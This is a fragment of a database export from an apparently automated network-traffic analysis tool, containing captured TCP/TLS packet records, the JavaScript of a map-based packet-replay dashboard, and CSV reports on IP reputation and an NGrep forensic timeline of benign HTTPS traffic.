\"dst_port\": 443, \"tcp_seq\": 2818113368, \"tcp_ack\": 3507103240, \"tcp_window\": 8211, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 66, \"payload_preview\": \"4104a815176cafc80f90c522cbfb2b7ff5d6e5c3a56acda517f99da385bfd06d11ccf119531d5920d72e393b5b94c46acd452bbbc7dd043b9d130e2015af76046597\", \"payload_ascii\": \"A\\u0004\\u0015\\u0017l\\u000f\\\"+\\u007fj\\u0017m\\u0011\\u0019S\\u001dY .9;[jE+\\u0004;\\u0013\\u000e \\u0015v\\u0004e\"}, {\"packet_number\": 12, \"timestamp\": 1779688966.767384, \"timestamp_iso\": \"2026-05-25T11:32:46.767384\", \"timestamp_human\": \"2026-05-25 11:32:46.767\", \"size\": 549, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"184.30.157.69\", \"ttl\": 128, \"ip_id\": 35350, \"ip_len\": 535, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63940, \"dst_port\": 443, \"tcp_seq\": 2818113494, \"tcp_ack\": 3507103514, \"tcp_window\": 8210, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 15, \"timestamp\": 1779688967.15266, \"timestamp_iso\": \"2026-05-25T11:32:47.152660\", \"timestamp_human\": \"2026-05-25 11:32:47.152\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"184.30.157.69\", \"ttl\": 128, \"ip_id\": 35351, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63940, \"dst_port\": 443, \"tcp_seq\": 2818113989, \"tcp_ack\": 3507103928, \"tcp_window\": 8208, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 16, \"timestamp\": 1779689132.493064, \"timestamp_iso\": \"2026-05-25T11:35:32.493064\", \"timestamp_human\": \"2026-05-25 11:35:32.493\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"184.30.157.69\", \"ttl\": 128, \"ip_id\": 35352, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63940, \"dst_port\": 443, \"tcp_seq\": 2818113989, \"tcp_ack\": 3507103928, \"tcp_window\": 8208, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}, {\"packet_number\": 18, \"timestamp\": 1779689132.493368, \"timestamp_iso\": \"2026-05-25T11:35:32.493368\", \"timestamp_human\": \"2026-05-25 11:35:32.493\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"184.30.157.69\", \"ttl\": 128, \"ip_id\": 35353, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63940, \"dst_port\": 443, \"tcp_seq\": 2818113990, \"tcp_ack\": 3507103929, \"tcp_window\": 8208, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 9, \"PSH\": 3, \"FIN\": 1}, \"packet_sizes\": [66, 54, 240, 54, 54, 180, 549, 54, 54, 54], \"inter_packet_intervals\": [0.0003399848937988281, 0.0005550384521484375, 0.3376619815826416, 0.044302940368652344, 0.01073002815246582, 0.37465906143188477, 0.38527584075927734, 165.3404040336609, 0.0003039836883544922], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 166.4942328929901, \"avg_packet_size\": 135.9, \"packets_per_second\": 0.06006214044919648, \"bytes_per_second\": 8.162444887045801, \"min_packet_size\": 54, \"max_packet_size\": 549, \"median_packet_size\": 54, \"avg_interval\": 18.499359210332234, \"min_interval\": 0.0003039836883544922, \"max_interval\": 165.3404040336609}, {\"source\": \"184.30.157.69\", \"target\": \"10.152.152.11\", \"packet_count\": 9, \"total_bytes\": 4888, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"Padding\", \"_TLSEncryptedContent\"], \"src_ports\": [443], \"dst_ports\": [63940], \"first_packet\": 1779688965.99916, \"last_packet\": 1779689132.493184, \"packets\": [{\"packet_number\": 1, \"timestamp\": 1779688965.99916, \"timestamp_iso\": \"2026-05-25T11:32:45.999160\", \"timestamp_human\": \"2026-05-25 11:32:45.999\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"184.30.157.69\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 0, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63940, \"tcp_seq\": 3507099537, \"tcp_ack\": 2818113182, \"tcp_window\": 64240, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN,ACK\"}, {\"packet_number\": 4, \"timestamp\": 1779688966.000039, \"timestamp_iso\": \"2026-05-25T11:32:46.000039\", \"timestamp_human\": \"2026-05-25 11:32:46.000\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"184.30.157.69\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 44391, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63940, \"tcp_seq\": 3507099538, \"tcp_ack\": 2818113368, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 5, \"timestamp\": 1779688966.337499, \"timestamp_iso\": \"2026-05-25T11:32:46.337499\", \"timestamp_human\": \"2026-05-25 11:32:46.337\", \"size\": 3470, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"Padding\"], \"src_ip\": \"184.30.157.69\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 44392, \"ip_len\": 3456, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63940, \"tcp_seq\": 3507099538, \"tcp_ack\": 2818113368, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 7, \"timestamp\": 1779688966.381723, \"timestamp_iso\": \"2026-05-25T11:32:46.381723\", \"timestamp_human\": \"2026-05-25 11:32:46.381\", \"size\": 340, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ip\": \"184.30.157.69\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 44395, \"ip_len\": 326, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63940, \"tcp_seq\": 3507102954, \"tcp_ack\": 2818113368, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 286, \"payload_preview\": \"6e8ad0b1818c08ee09dba6ca720c8911566520b1ca43589914dcb2bf15e179e6579ca8dd584ca4cea2fa5e6f8a763ae6521d8396cfcd7cc29d9c999e7d40d52dc3f2aab2546c636ddeb81e73d24f90b33bc17924bb9a7c4b267e81e82d79e951384dc01962b26604a44093de8798212f9be9f2e0aebd2dbd22179a16030300950c0000910300174104a8de8c095660ad99470299902c2beb44b476f3866936c7043bed2aa2e39b4bae1d813b2213a4dfd8f4670084822aea6546d57f178dffb27179c52ba52e42e757040300483046022100a49a12bcd0031881c1976500255f4e1e24c1fdd4c1d2257c802415a5f440e670022100f4d9d2ec16cdc7a7ea11616cf38bea0bd3e83ad8d3c42c87830e737d45e9ed5b16030300040e000000\", \"payload_ascii\": \"n\\b\\tr\\f\\u0011Ve CX\\u0014\\u0015yWXL^ov:R\\u001d|}@-Tlcm\\u001esO;y$|K&~-yQ8M\\u0019bf\\u0004@!/-\\\"\\u0017\\u0016\\u0003\\u0003\\u0000\\f\\u0000\\u0000\\u0003\\u0000\\u0017A\\u0004\\tV`G\\u0002,+Dvi6\\u0004;*K\\u001d;\\\"\\u0013g\\u0000*eF\\u007f\\u0017qy+.BW\\u0004\\u0003\\u0000H0F\\u0002!\\u0000\\u0012\\u0003\\u0018e\\u0000%_N\\u001e$%|$\\u0015@p\\u0002!\\u0000\\u0016\\u0011al\\u000b:,\\u000es}E[\\u0016\\u0003\\u0003\\u0000\\u0004\\u000e\\u0000\\u0000\\u0000\"}, {\"packet_number\": 10, \"timestamp\": 1779688966.392743, \"timestamp_iso\": \"2026-05-25T11:32:46.392743\", \"timestamp_human\": \"2026-05-25 11:32:46.392\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"184.30.157.69\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 44396, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63940, \"tcp_seq\": 3507103240, \"tcp_ack\": 2818113494, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 11, \"timestamp\": 1779688966.761586, \"timestamp_iso\": \"2026-05-25T11:32:46.761586\", \"timestamp_human\": \"2026-05-25 11:32:46.761\", \"size\": 328, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"184.30.157.69\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 44397, \"ip_len\": 314, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63940, \"tcp_seq\": 3507103240, \"tcp_ack\": 2818113494, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 40, \"payload_preview\": \"0d71fc40096502951755b15ef117b3d466cec143e922a3a82db0f9484129e99069b033550d31d9da\", \"payload_ascii\": \"\\rq@\\te\\u0002\\u0017U^\\u0017fC\\\"-HA)i3U\\r1\"}, {\"packet_number\": 13, \"timestamp\": 1779688966.767411, \"timestamp_iso\": \"2026-05-25T11:32:46.767411\", \"timestamp_human\": \"2026-05-25 11:32:46.767\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"184.30.157.69\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 44398, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63940, \"tcp_seq\": 3507103514, \"tcp_ack\": 2818113989, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 14, \"timestamp\": 1779688967.105333, \"timestamp_iso\": \"2026-05-25T11:32:47.105333\", \"timestamp_human\": \"2026-05-25 11:32:47.105\", \"size\": 468, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"184.30.157.69\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 44399, \"ip_len\": 454, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63940, \"tcp_seq\": 3507103514, \"tcp_ack\": 2818113989, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 17, \"timestamp\": 1779689132.493184, \"timestamp_iso\": \"2026-05-25T11:35:32.493184\", \"timestamp_human\": \"2026-05-25 11:35:32.493\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"184.30.157.69\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 44400, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63940, \"tcp_seq\": 3507103928, \"tcp_ack\": 2818113990, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": true, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"FIN,ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 9, \"PSH\": 4, \"FIN\": 1}, \"packet_sizes\": [66, 54, 3470, 340, 54, 328, 54, 468, 54], \"inter_packet_intervals\": [0.0008790493011474609, 0.3374598026275635, 0.04422402381896973, 0.011020183563232422, 0.36884284019470215, 0.005825042724609375, 0.3379220962524414, 165.38785099983215], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 166.49402403831482, \"avg_packet_size\": 543.1111111111111, \"packets_per_second\": 0.05405599421351516, \"bytes_per_second\": 29.35841107951801, \"min_packet_size\": 54, \"max_packet_size\": 3470, \"median_packet_size\": 66, \"avg_interval\": 20.811753004789352, \"min_interval\": 0.0008790493011474609, \"max_interval\": 165.38785099983215}];\n        \n        // Unified Timeline Data\n        const allPackets = [];\n        edges.forEach(e => {\n            e.packets.forEach(p => {\n                allPackets.push({\n                    ...p,\n                    source: e.source,\n                    target: e.target,\n                    protocols: p.protocols\n                });\n            });\n        });\n        allPackets.sort((a, b) => a.timestamp - b.timestamp);\n\n        // Map Setup\n        const map = L.map('map', {\n            center: [20, 0],\n            zoom: 2,\n            minZoom: 2,\n            maxBounds: [[-90, -180], [90, 180]],\n            maxBoundsViscosity: 1.0,\n            worldCopyJump: false\n        });\n\n        L.tileLayer('https://{s}.basemaps.cartocdn.com/light_all/{z}/{x}/{y}{r}.png', {\n            attribution: '©OpenStreetMap, ©CartoDB',\n            noWrap: true,\n            bounds: [[-90, -180], [90, 180]]\n        }).addTo(map);\n\n        // Projection Helper for Private IPs\n        function getPos(node) {\n            if (node.is_private) {\n                // Place private nodes in the stylized \"Pvt Zone\" (North Pacific area)\n                // Offset slightly per node to avoid overlap\n                const idx = nodes.filter(n => n.is_private).indexOf(node);\n                const pvtLat = 50 + (idx % 5) * 2;\n                const pvtLon = -160 + Math.floor(idx / 5) * 5;\n                return [pvtLat, pvtLon];\n            }\n            return [node.geo.lat || 0, node.geo.lon || 0];\n        }\n\n        // Initialize positions\n        nodes.forEach(n => {\n            const pos = getPos(n);\n            n.currentLat = pos[0];\n            n.currentLon = pos[1];\n        });\n\n        // D3 Overlay\n        L.svg().addTo(map);\n        const svg = d3.select(map.getPanes().overlayPane).select(\"svg\");\n        const g = svg.append(\"g\").attr(\"class\", \"leaflet-zoom-hide\");\n\n        // Scale node radius by traffic volume\n        const nodeScale = d3.scaleSqrt()\n            .domain([0, d3.max(nodes, d => d.packet_count) || 100])\n            .range([5, 20]);\n\n        const link = g.selectAll(\".link\")\n            .data(edges)\n            .enter().append(\"path\")\n            .attr(\"class\", \"link\")\n            .attr(\"stroke\", e => e.threat_level === 'critical' ? '#ef4444' : '#94a3b8')\n            .attr(\"stroke-width\", 1.5)\n            .on(\"click\", (e, d) => inspectFlow(d));\n\n        const node = g.selectAll(\".node\")\n            .data(nodes)\n            .enter().append(\"circle\")\n            .attr(\"class\", \"node\")\n            .attr(\"r\", d => nodeScale(d.packet_count))\n            .attr(\"fill\", d => d.is_private ? \"#3b82f6\" : \"#10b981\")\n            .attr(\"stroke\", \"#fff\")\n            .attr(\"stroke-width\", 2)\n            .on(\"click\", (e, d) => inspectNode(d));\n\n        node.append(\"title\").text(d => d.ip);\n\n        function updatePositions() {\n            node.attr(\"cx\", d => map.latLngToLayerPoint([d.currentLat, d.currentLon]).x)\n                .attr(\"cy\", d => map.latLngToLayerPoint([d.currentLat, d.currentLon]).y);\n\n            link.attr(\"d\", d => {\n                const s = nodes.find(n => n.id === d.source);\n                const t = nodes.find(n => n.id === d.target);\n                if (!s || !t) return \"\";\n                const sp = map.latLngToLayerPoint([s.currentLat, s.currentLon]);\n                const tp = map.latLngToLayerPoint([t.currentLat, t.currentLon]);\n                return `M${sp.x},${sp.y}L${tp.x},${tp.y}`;\n            });\n        }\n\n        map.on(\"viewreset move\", updatePositions);\n        updatePositions();\n\n        // Stats\n        document.getElementById('stat-nodes').innerText = nodes.length;\n        document.getElementById('stat-edges').innerText = edges.length;\n        document.getElementById('stat-pkts').innerText = allPackets.length;\n\n        // --- Replay Logic ---\n        let replayIdx = 0;\n        let isPlaying = false;\n        let replayTimer = null;\n        const timeline = document.getElementById('timeline');\n        const timeDisplay = document.getElementById('time-display');\n\n        function toggleReplay() {\n            isPlaying = !isPlaying;\n            document.getElementById('play-icon').className = isPlaying ? \"fas fa-pause\" : \"fas fa-play\";\n            if (isPlaying) runReplay();\n            else clearInterval(replayTimer);\n        }\n\n        function runReplay() {\n            clearInterval(replayTimer);\n            replayTimer = setInterval(() => {\n                if (replayIdx >= allPackets.length) {\n                    toggleReplay();\n                    return;\n                }\n                processPacket(allPackets[replayIdx]);\n                replayIdx++;\n                const progress = (replayIdx / allPackets.length) * 100;\n                timeline.value = progress;\n            }, 150);\n        }\n\n        function seekReplay(val) {\n            const targetIdx = Math.floor((val / 100) * (allPackets.length - 1));\n            replayIdx = targetIdx;\n            if (allPackets[replayIdx]) {\n                processPacket(allPackets[replayIdx]);\n            }\n        }\n\n        function processPacket(pkt) {\n            timeDisplay.innerText = pkt.timestamp_human.split(' ')[1];\n            animatePacket(pkt.source, pkt.target);\n            updateLiveInspector(pkt);\n        }\n\n        function animatePacket(srcId, dstId) {\n            const s = nodes.find(n => n.id === srcId);\n            const t = nodes.find(n => n.id === dstId);\n            if (!s || !t) return;\n            \n            const sp = map.latLngToLayerPoint([s.currentLat, s.currentLon]);\n            const tp = map.latLngToLayerPoint([t.currentLat, t.currentLon]);\n\n            const p = g.append(\"circle\")\n                .attr(\"r\", 4)\n                .attr(\"class\", \"packet-particle\")\n                .attr(\"cx\", sp.x)\n                .attr(\"cy\", sp.y);\n\n            p.transition()\n                .duration(800)\n                .ease(d3.easeLinear)\n                .attr(\"cx\", tp.x)\n                .attr(\"cy\", tp.y)\n                .remove();\n        }\n\n        function updateLiveInspector(pkt) {\n            const srcNode = nodes.find(n => n.id === pkt.source);\n            const dstNode = nodes.find(n => n.id === pkt.target);\n            \n            const body = document.getElementById('inspect-body');\n            \n            // Format payload\n            let payloadHtml = \"\";\n            if (pkt.payload_preview) {\n                const hex = pkt.payload_preview.match(/.{1,2}/g).join(' ');\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (Hex)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 150px; overflow-y: auto; font-size: 0.7rem;\">${hex}</div>\n                `;\n            } else if (pkt.payload_ascii) {\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (ASCII)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 150px; overflow-y: auto; font-size: 0.7rem;\">${pkt.payload_ascii}</div>\n                `;\n            }\n\n            body.innerHTML = `\n                <div class=\"info-card\" style=\"border-left: 4px solid var(--accent-main)\">\n                    <div class=\"sec-title\">Live Replay Analysis</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Packet ID</span><span class=\"data-value\">#${pkt.packet_number}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Timestamp</span><span class=\"data-value\">${pkt.timestamp_human}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${pkt.protocols.join(' → ')}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Size</span><span class=\"data-value\">${pkt.size} Bytes</span></div>\n                </div>\n\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Source: ${pkt.source}</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Location</span><span class=\"data-value\">${srcNode.geo.city}, ${srcNode.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP / ASN</span><span class=\"data-value\">${srcNode.geo.isp} (AS${srcNode.geo.asn})</span></div>\n                </div>\n\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Destination: ${pkt.target}</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Location</span><span class=\"data-value\">${dstNode.geo.city}, ${dstNode.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP / ASN</span><span class=\"data-value\">${dstNode.geo.isp} (AS${dstNode.geo.asn})</span></div>\n                </div>\n\n                ${pkt.tcp_flags_str ? `<div class=\"info-card\"><div class=\"sec-title\">TCP Flags</div><div class=\"data-value\">${pkt.tcp_flags_str}</div></div>` : ''}\n                ${pkt.dns_query ? `<div class=\"info-card\"><div class=\"sec-title\">DNS Query</div><div class=\"data-value\">${pkt.dns_query}</div></div>` : ''}\n\n                <div class=\"info-card\">\n                    ${payloadHtml || '<div class=\"data-label\">No raw payload data</div>'}\n                </div>\n            `;\n        }\n\n        function inspectNode(d) {\n            document.getElementById('inspect-title').innerText = `Node: ${d.ip}`;\n            const body = document.getElementById('inspect-body');\n            body.innerHTML = `\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Investigation Metadata</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Country</span><span class=\"data-value\">${d.geo.country}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">City</span><span class=\"data-value\">${d.geo.city}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ISP</span><span class=\"data-value\">${d.geo.isp}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">ASN</span><span class=\"data-value\">${d.geo.asn}</span></div>\n                </div>\n                <div class=\"sec-title\">Traffic Intensity</div>\n                <div class=\"stat-grid\">\n                    <div class=\"stat-box\"><div class=\"stat-v\">${d.packet_count}</div><div class=\"stat-l\">Packets</div></div>\n                    <div class=\"stat-box\"><div class=\"stat-v\">${(d.total_bytes_sent/1024).toFixed(1)}</div><div class=\"stat-l\">KB Sent</div></div>\n                    <div class=\"stat-box\"><div class=\"stat-v\">${(d.total_bytes_received/1024).toFixed(1)}</div><div class=\"stat-l\">KB Recv</div></div>\n                </div>\n                <div class=\"sec-title\" style=\"margin-top:20px;\">Recent Packets</div>\n                ${d.packets.slice(-10).map(p => {\n                    const pStr = JSON.stringify(p).replace(/\"/g, '&quot;');\n                    return `\n                        <div class=\"packet-list-item\" onclick=\"showPacketDetails('${d.ip}', ${pStr})\">\n                            <span>#${p.num} - ${p.direction.toUpperCase()}</span>\n                            <span>${p.size}B</span>\n                        </div>\n                    `;\n                }).join('')}\n            `;\n        }\n\n        function inspectFlow(d) {\n            const s = nodes.find(n => n.id === d.source);\n            const t = nodes.find(n => n.id === d.target);\n            document.getElementById('inspect-title').innerText = `Flow: ${d.source} → ${d.target}`;\n            const body = document.getElementById('inspect-body');\n            body.innerHTML = `\n                <div class=\"info-card\">\n                    <div class=\"sec-title\">Flow Characteristics</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${d.protocols.join(', ')}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Total Traffic</span><span class=\"data-value\">${(d.total_bytes / 1024).toFixed(2)} KB</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Threat Level</span><span class=\"data-value\" style=\"color:${d.threat_level === 'low' ? 'var(--accent-success)' : 'var(--accent-danger)'}\">${d.threat_level.toUpperCase()}</span></div>\n                </div>\n                <div class=\"sec-title\">Packet Log</div>\n                ${d.packets.slice(-15).map(p => `\n                    <div class=\"packet-list-item\" style=\"border-left: 3px solid var(--accent-main)\">\n                        <div>\n                            <div style=\"font-weight:700\">#${p.packet_number} [${p.protocols[p.protocols.length-1]}]</div>\n                            <div style=\"font-size:0.75rem; color:var(--text-secondary)\">${p.timestamp_human.split(' ')[1]}</div>\n                        </div>\n                        <div style=\"text-align:right\">\n                            <div>${p.size}B</div>\n                        </div>\n                    </div>\n                `).join('')}\n            `;\n        }\n\n        function showPacketDetails(ip, p) {\n            const body = document.getElementById('inspect-body');\n            document.getElementById('inspect-title').innerText = `Packet Inspection`;\n            document.getElementById('inspect-subtitle').innerText = `IP: ${ip}`;\n            \n            let payloadHtml = \"\";\n            if (p.payload_preview) {\n                const hex = p.payload_preview.match(/.{1,2}/g).join(' ');\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (Hex)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 200px; overflow-y: auto; font-size: 0.7rem;\">${hex}</div>\n                `;\n            } else if (p.payload_ascii) {\n                payloadHtml = `\n                    <div class=\"sec-title\">Payload (ASCII)</div>\n                    <div class=\"hex-dump\" style=\"max-height: 200px; overflow-y: auto; font-size: 0.7rem;\">${p.payload_ascii}</div>\n                `;\n            }\n\n            body.innerHTML = `\n                <div class=\"info-card\" style=\"border-left: 4px solid var(--accent-main)\">\n                    <div class=\"sec-title\">Packet Details</div>\n                    <div class=\"data-row\"><span class=\"data-label\">Timestamp</span><span class=\"data-value\">${p.timestamp_human}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Protocols</span><span class=\"data-value\">${p.protocols ? p.protocols.join(' → ') : 'N/A'}</span></div>\n                    <div class=\"data-row\"><span class=\"data-label\">Byte Size</span><span class=\"data-value\">${p.size}</span></div>\n                </div>\n\n                ${p.tcp_flags_str ? `<div class=\"info-card\"><div class=\"sec-title\">TCP Control Flags</div><div class=\"data-value\">${p.tcp_flags_str}</div></div>` : ''}\n                ${p.dns_query ? `<div class=\"info-card\"><div class=\"sec-title\">DNS Query Resolve</div><div class=\"data-value\">${p.dns_query}</div></div>` : ''}\n\n                <div class=\"info-card\">\n                    ${payloadHtml || '<div class=\"data-label\">No raw payload data available</div>'}\n                </div>\n                \n                <button class=\"btn\" onclick=\"zoomToWorld()\" style=\"width:100%; margin-top:10px; padding:10px;\">Return to Overview</button>\n            `;\n        }\n\n        function closePacketPanel() {\n            // No longer used as we use the side panel\n        }\n\n        function zoomToWorld() {\n            map.flyTo([20, 0], 2);\n        }\n    </script>\n</body>\n</html>\n"},{"_id":{"$oid":"6a2ebbd9ae36b72c92a10931"},"sha256":"50ff90147ed994daa56f18819e1dc34002be0a6150f358af629583e8d2c314e3","timestamp":{"$date":"2026-06-14T20:04:01.863Z"},"analysis_successful":true,"csv_reports":{"network_analysis_domains_ips.csv":"name,ip,src,av detection,reputation,malicious,internal/ external\n194.36.32.209,194.36.32.209,HTTP Host,0/70,Neutral,No,External\nhttp://194.36.32.209,194.36.32.209,HTTP URL,0/70,Neutral,No,External\n","forensic_timeline.csv":"timestamp,category,event,details\n0.0,NGrep,input: /tmp/filtered_olkh9ug4.pcap,\"Payload: filter: ((ip || ip6) || (vlan && (ip || ip6)))\nmatch (JIT): .\n####\nT 10.152.152.11:63940 -> 2.23.89.83:443 [AP] #4\n...........j/.<^.}..Q....a.f.o[....f..Hn..:..&.,.+.0./.$.#.(.'.\n...........=.<.5./.\n...b.........assets.adobedtm.com..........\n...............................................#...........\n##\nT 2.23.89.83:443 -> 10.152.152.11:63940 [AP] #6\n....I...E...qV.......@.mP...!...&.uDOWNGRD...,.....................#.........................0...0.............vM.u{..? @...0...*.H........0Y1.0...U....US1.0...U.\n..DigiCert Inc1301..U...*DigiCert Global G2 TLS RSA SHA256 2020 CA10...250624000000Z..260725235959Z0h1.0...U....US1.0...U...\nCalifornia1.0...U....San Jose1.0...U.\n.\nAdobe 